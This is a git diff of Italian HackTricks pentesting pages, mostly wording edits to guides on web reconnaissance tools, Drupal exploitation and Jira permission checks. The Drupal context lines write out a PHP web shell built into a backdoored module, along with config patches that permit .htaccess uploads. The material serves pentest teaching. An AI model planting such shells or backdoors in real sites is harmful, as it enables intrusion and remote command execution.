@ -15,13 +15,13 @@ Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Informazioni di base
|
||||
## Informazioni di Base
|
||||
|
||||
Il servizio web è il servizio più **comune ed esteso** e esistono molti **tipi diversi di vulnerabilità**.
|
||||
|
||||
|
@ -115,7 +115,7 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben
|
|||
* [**WebDav**](put-method-webdav.md)
|
||||
* [**Werkzeug**](werkzeug.md)
|
||||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
* [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Tieni presente che il **stesso dominio** può utilizzare **tecnologie diverse** in **porte**, **cartelle** e **sottodomini** diversi._\
|
||||
Se l'applicazione web utilizza qualche **tecnologia/piattaforma ben nota elencata sopra** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
|
||||
|
@ -151,7 +151,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
```
|
||||
#### Scanner CMS
|
||||
|
||||
Se viene utilizzato un CMS non dimenticare di **eseguire uno scanner**, potrebbe essere trovato qualcosa di succoso:
|
||||
Se viene utilizzato un CMS, non dimenticare di **eseguire uno scanner**, potrebbe essere trovato qualcosa di succoso:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** siti web per problemi di sicurezza. (GUI)\
|
||||
|
@ -185,12 +185,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
I server web possono **comportarsi in modo imprevisto** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o **divulgare informazioni sensibili**.
|
||||
|
||||
* Accedi a **pagine false** come /whatever\_fake.php (.aspx,.html,.ecc)
|
||||
* Accedi a **pagine false** come /whatever\_fake.php (.aspx,.html,.etc)
|
||||
* **Aggiungi "\[]", "]]" e "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori
|
||||
* Genera un errore fornendo input come **`/~randomthing/%s`** alla **fine** dell'**URL**
|
||||
* Prova **diversi verbi HTTP** come PATCH, DEBUG o errati come FAKE
|
||||
|
||||
#### **Controlla se puoi caricare file (**[**verbo PUT, WebDav**](put-method-webdav.md)**)**
|
||||
#### **Controlla se puoi caricare file (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Se scopri che **WebDav** è **abilitato** ma non hai abbastanza permessi per **caricare file** nella cartella radice, prova a:
|
||||
|
||||
|
@ -199,10 +199,10 @@ Se scopri che **WebDav** è **abilitato** ma non hai abbastanza permessi per **c
|
|||
|
||||
### **Vulnerabilità SSL/TLS**
|
||||
|
||||
* Se l'applicazione **non costringe l'utente a utilizzare HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
|
||||
* Se l'applicazione **non costringe l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
|
||||
* Se l'applicazione **invia dati sensibili (password) utilizzando HTTP**. Allora è una vulnerabilità alta.
|
||||
|
||||
Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (nei programmi Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv**](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
|
||||
Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (nei programmi di Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv**](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -218,19 +218,19 @@ Informazioni sulle vulnerabilità SSL/TLS:
|
|||
|
||||
### Spidering
|
||||
|
||||
Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spider è **trovare il maggior numero possibile di percorsi** dall'applicazione testata. Pertanto, dovrebbero essere utilizzati il crawling web e fonti esterne per trovare il maggior numero possibile di percorsi validi.
|
||||
Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spider è **trovare il maggior numero possibile di percorsi** dall'applicazione testata. Pertanto, dovrebbero essere utilizzati web crawling e fonti esterne per trovare il maggior numero possibile di percorsi validi.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): spider HTML, LinkFinder in file JS e fonti esterne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): spider HML, con LinkFinder per file JS e Archive.org come fonte esterna.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): spider HTML, indica anche "file succulenti".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): spider HTML CLI interattivo. Cerca anche in Archive.org.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): spider HTML interattivo da CLI. Cerca anche in Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Questo strumento non è uno spider ma può essere utile. Puoi semplicemente indicare un file con host e un file con percorsi e meg recupererà ogni percorso su ogni host e salverà la risposta.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): spider HTML con capacità di rendering JS. Tuttavia, sembra che non sia mantenuto, la versione precompilata è vecchia e il codice attuale non si compila.
|
||||
* [**gau**](https://github.com/lc/gau) (go): spider HTML che utilizza fornitori esterni (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): spider HTML con capacità di rendering JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): spider HTML, con capacità di abbellimento JS in grado di cercare nuovi percorsi in file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia nel codice sorgente HTML che nei file javascript incorporati. Utile per cacciatori di bug, red teamers, ninja dell'infosec.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia nel sorgente HTML che nei file javascript incorporati. Utile per bug hunter, red teamers, infosec ninjas.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che utilizza Tornado e JSBeautifier per analizzare URL relativi da file JavaScript. Utile per scoprire facilmente richieste AJAX. Sembra non essere mantenuto.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà URL da esso utilizzando espressioni regolari per trovare ed estrarre gli URL relativi da file brutti (minificati).
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, diversi strumenti): Raccogliere informazioni interessanti da file JS utilizzando diversi strumenti.
|
||||
|
@ -242,7 +242,7 @@ Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spide
|
|||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Questo è uno strumento utilizzato per scoprire endpoint per un dato target.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scoprire link dalla wayback machine (scaricando anche le risposte nella wayback e cercando ulteriori link).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando moduli) e trova anche informazioni sensibili utilizzando regex specifici.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider web GUI multi-funzione progettato per professionisti della sicurezza informatica.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider web GUI multi-funzionale progettato per professionisti della sicurezza informatica.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un pacchetto Go e [strumento da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URL, percorsi, segreti e altri dati interessanti dal codice sorgente JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **estensione di Burp Suite** per **estrarre i parametri e gli endpoint** dalla richiesta per creare una wordlist personalizzata per fuzzing ed enumerazione.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Strumento fantastico per questo.
|
||||
|
@ -264,7 +264,7 @@ Strumenti:
|
|||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuovi URL con funzionalità duplicate (basato su importazioni js).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Utilizza wapalyzer per rilevare le tecnologie utilizzate e selezionare le wordlist da utilizzare.
|
||||
|
||||
**Dizionari consigliati:**
|
||||
**Dizionari raccomandati:**
|
||||
|
||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* [**Dizionario incluso in Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
|
@ -283,13 +283,13 @@ Strumenti:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere brute-forzata._
|
||||
_Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere Brute-Forzata._
|
||||
|
||||
### Cosa controllare su ogni file trovato
|
||||
### Cosa controllare in ogni file trovato
|
||||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti all'interno degli HTML che potrebbero essere soggetti a takeover.
|
||||
* **File di backup**: Una volta trovati tutti i file, cerca i backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se puoi, potresti provare a cercare** parametri nascosti in ogni file web eseguibile.
|
||||
* **Backup di file**: Una volta trovati tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se puoi, potresti provare a cercare** parametri nascosti in ciascun file web eseguibile.
|
||||
* _Arjun tutte le wordlist predefinite:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
|
@ -298,7 +298,7 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
|
|||
* Se stai partecipando a un **CTF**, un trucco "comune" è **nascondere** **informazioni** all'interno dei commenti a destra della **pagina** (utilizzando **centinaia** di **spazi** in modo da non vedere i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web.
|
||||
* **Chiavi API**: Se **trovi una chiave API** c'è una guida che indica come utilizzare le chiavi API di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
* Chiavi API di Google: Se trovi una chiave API che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API la chiave può accedere.
|
||||
* **S3 Buckets**: Durante lo spidering controlla se qualche **sottodominio** o qualche **link** è correlato a qualche **S3 bucket**. In tal caso, [**controlla** le **permissive** del bucket](buckets/).
|
||||
* **S3 Buckets**: Durante lo spidering controlla se qualche **subdominio** o qualche **link** è correlato a qualche **S3 bucket**. In tal caso, [**controlla** le **permissive** del bucket](buckets/).
|
||||
|
||||
### Scoperte speciali
|
||||
|
||||
|
@ -309,7 +309,7 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
|
|||
* Cerca **link** ad altri file all'interno dei file **CSS**.
|
||||
* [Se trovi un file _**.git**_ alcune informazioni possono essere estratte](git.md).
|
||||
* Se trovi un _**.env**_ informazioni come chiavi API, password db e altre informazioni possono essere trovate.
|
||||
* Se trovi **endpoint API** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembra" che lo siano.
|
||||
* Se trovi **endpoint API** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembreranno" tali.
|
||||
* **File JS**: Nella sezione spidering sono stati menzionati diversi strumenti che possono estrarre percorsi da file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica potrebbe indicare che una potenziale vulnerabilità è stata introdotta nel codice. Potresti utilizzare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Dovresti anche controllare i file JS scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per scoprire se è vulnerabile.
|
||||
* **Deobfuscator e Unpacker Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
|
@ -327,17 +327,17 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
|
|||
|
||||
**502 Proxy Error**
|
||||
|
||||
Se qualche pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** a _**google.com**_ **e avrai trovato un** SSRF.
|
||||
Se qualche pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** _**google.com**_ **e avrai trovato un** SSRF.
|
||||
|
||||
**Autenticazione NTLM - Divulgazione di informazioni**
|
||||
**Autenticazione NTLM - Informazioni divulgate**
|
||||
|
||||
Se il server in esecuzione richiede autenticazione è **Windows** o trovi un login che richiede le tue **credenziali** (e richiede il **nome del dominio**), puoi provocare una **divulgazione di informazioni**.\
|
||||
**Invia** l'**intestazione**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona l'**autenticazione NTLM**, il server risponderà con informazioni interne (versione IIS, versione Windows...) all'interno dell'intestazione "WWW-Authenticate".\
|
||||
**Invia** l'**intestazione**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona **l'autenticazione NTLM**, il server risponderà con informazioni interne (versione IIS, versione Windows...) all'interno dell'intestazione "WWW-Authenticate".\
|
||||
Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
È possibile **inserire contenuti** all'interno di una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà la redirezione) ma qualcosa potrebbe essere **nascosto** lì dentro.
|
||||
È possibile **inserire contenuti** all'interno di una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà il reindirizzamento) ma qualcosa potrebbe essere **nascosto** lì.
|
||||
|
||||
### Controllo delle vulnerabilità web
|
||||
|
||||
|
@ -353,11 +353,11 @@ Trova ulteriori informazioni sulle vulnerabilità web in:
|
|||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
* [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Monitorare le pagine per le modifiche
|
||||
### Monitorare le pagine per modifiche
|
||||
|
||||
Puoi utilizzare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare le pagine per modifiche che potrebbero inserire vulnerabilità.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
|
|
@ -18,16 +18,16 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
## Con il modulo PHP Filter
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nelle versioni più vecchie di Drupal **(prima della versione 8)**, era possibile accedere come amministratore e **abilitare il modulo `PHP filter`**, che "Consente di valutare codice/snippet PHP incorporati." Ma dalla versione 8 questo modulo non è installato per impostazione predefinita.
|
||||
Nelle versioni più vecchie di Drupal **(prima della versione 8)**, era possibile accedere come admin e **abilitare il modulo `PHP filter`**, che "Consente di valutare codice/snippet PHP incorporati." Ma dalla versione 8 questo modulo non è installato per impostazione predefinita.
|
||||
{% endhint %}
|
||||
|
||||
È necessario che il **plugin php sia installato** (controlla accedendo a _/modules/php_ e se restituisce un **403** allora, **esiste**, se **non trovato**, allora il **plugin php non è installato**)
|
||||
Hai bisogno che il **plugin php sia installato** (controlla accedendo a _/modules/php_ e se restituisce un **403** allora, **esiste**, se **non trovato**, allora il **plugin php non è installato**)
|
||||
|
||||
Vai su _Modules_ -> (**Controlla**) _PHP Filter_ -> _Salva configurazione_
|
||||
|
||||
![](<../../../.gitbook/assets/image (247) (1).png>)
|
||||
|
||||
Poi clicca su _Aggiungi contenuto_ -> Seleziona _Pagina base_ o _Articolo_ -> Scrivi _php shellcode nel corpo_ -> Seleziona _PHP code_ in _Formato testo_ -> Seleziona _Anteprima_
|
||||
Poi clicca su _Aggiungi contenuto_ -> Seleziona _Pagina base_ o _Articolo_ -> Scrivi _php shellcode nel corpo_ -> Seleziona _Codice PHP_ in _Formato testo_ -> Seleziona _Anteprima_
|
||||
|
||||
![](<../../../.gitbook/assets/image (338).png>)
|
||||
|
||||
|
@ -35,7 +35,7 @@ Infine accedi semplicemente al nodo appena creato:
|
|||
```bash
|
||||
curl http://drupal-site.local/node/3
|
||||
```
|
||||
## Installa il modulo PHP Filter
|
||||
## Installazione del modulo PHP Filter
|
||||
|
||||
{% hint style="warning" %}
|
||||
Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita.
|
||||
|
@ -62,7 +62,7 @@ Un modulo con backdoor può essere creato **aggiungendo una shell a un modulo es
|
|||
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||||
tar xvf captcha-8.x-1.2.tar.gz
|
||||
```
|
||||
* Crea un **PHP web shell** con i contenuti:
|
||||
* Crea una **web shell PHP** con i contenuti:
|
||||
```php
|
||||
<?php
|
||||
system($_GET["cmd"]);
|
||||
|
@ -83,7 +83,7 @@ tar cvf captcha.tar.gz captcha/
|
|||
* Assumendo di avere **accesso amministrativo** al sito web, clicca su **`Gestisci`** e poi su **`Estendi`** nella barra laterale. Successivamente, clicca sul pulsante **`+ Installa nuovo modulo`**, e verremo portati alla pagina di installazione, come `http://drupal-site.local/admin/modules/install`. Naviga fino all'archivio del Captcha backdoored e clicca su **`Installa`**.
|
||||
* Una volta completata l'installazione, naviga su **`/modules/captcha/shell.php`** per eseguire comandi.
|
||||
|
||||
## Backdooring Drupal con la sincronizzazione della configurazione <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
## Backdooring Drupal con sincronizzazione della configurazione <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
||||
**Post condiviso da** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||||
|
||||
|
@ -93,17 +93,17 @@ Nel menu _Estendi_ (/admin/modules), puoi attivare quelli che sembrano essere pl
|
|||
|
||||
Prima dell'attivazione:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dopo l'attivazione:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Parte 2 (sfruttare la funzionalità _Sincronizzazione della configurazione_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
Sfrutteremo la funzionalità _Sincronizzazione della configurazione_ per scaricare (esportare) e caricare (importare) le voci di configurazione di Drupal:
|
||||
Sfrutteremo la funzionalità _Sincronizzazione della configurazione_ per esportare e importare le voci di configurazione di Drupal:
|
||||
|
||||
* /admin/config/development/configuration/single/export
|
||||
* /admin/config/development/configuration/single/import
|
||||
|
@ -122,7 +122,7 @@ allow_insecure_uploads: false
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
A:
|
||||
|
||||
|
@ -136,7 +136,7 @@ allow_insecure_uploads: true
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Patch field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
|
@ -166,7 +166,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
...
|
||||
|
||||
```
|
||||
> Non lo uso in questo post del blog, ma è importante notare che è possibile definire l'entry `file_directory` in modo arbitrario e che è vulnerabile a un attacco di traversata del percorso (quindi possiamo risalire all'interno dell'albero del filesystem di Drupal).
|
||||
> Non lo uso in questo post del blog, ma è importante notare che è possibile definire l'entry `file_directory` in modo arbitrario e che è vulnerabile a un attacco di path traversal (quindi possiamo risalire all'interno dell'albero del filesystem di Drupal).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -202,7 +202,7 @@ Semplicemente perché se prendiamo il seguente file, ad esempio [core/LICENSE.tx
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
File: LICENSE.txt patchato
|
||||
File: Patched LICENSE.txt
|
||||
```txt
|
||||
|
||||
...
|
||||
|
@ -233,7 +233,7 @@ programs whose distribution conditions are different, write to the author
|
|||
```
|
||||
#### **Parte 3.1 (carica file .htaccess)**
|
||||
|
||||
Per prima cosa, sfruttiamo la funzione _Aggiungi Documento_ (/media/add/document) per caricare il nostro file contenente le direttive Apache (.htaccess).
|
||||
Prima, sfruttiamo la funzione _Aggiungi Documento_ (/media/add/document) per caricare il nostro file contenente le direttive Apache (.htaccess).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -275,11 +275,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,59 +15,59 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta la conoscenza fluente della lingua polacca, scritta e parlata_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Controlla i privilegi
|
||||
|
||||
In Jira, **i privilegi possono essere controllati** da qualsiasi utente, autenticato o meno, attraverso gli endpoint `/rest/api/2/mypermissions` o `/rest/api/3/mypermissions`. Questi endpoint rivelano i privilegi attuali dell'utente. Una preoccupazione notevole sorge quando **gli utenti non autenticati detengono privilegi**, indicando una **vulnerabilità di sicurezza** che potrebbe potenzialmente essere idonea per un **bounty**. Allo stesso modo, **privilegi inaspettati per gli utenti autenticati** evidenziano anch'essi una **vulnerabilità**.
|
||||
In Jira, **i privilegi possono essere controllati** da qualsiasi utente, autenticato o meno, attraverso gli endpoint `/rest/api/2/mypermissions` o `/rest/api/3/mypermissions`. Questi endpoint rivelano i privilegi attuali dell'utente. Una preoccupazione notevole sorge quando **gli utenti non autenticati detengono privilegi**, indicando una **vulnerabilità di sicurezza** che potrebbe potenzialmente essere idonea per un **bounty**. Allo stesso modo, **privilegi inaspettati per gli utenti autenticati** evidenziano anche una **vulnerabilità**.
|
||||
|
||||
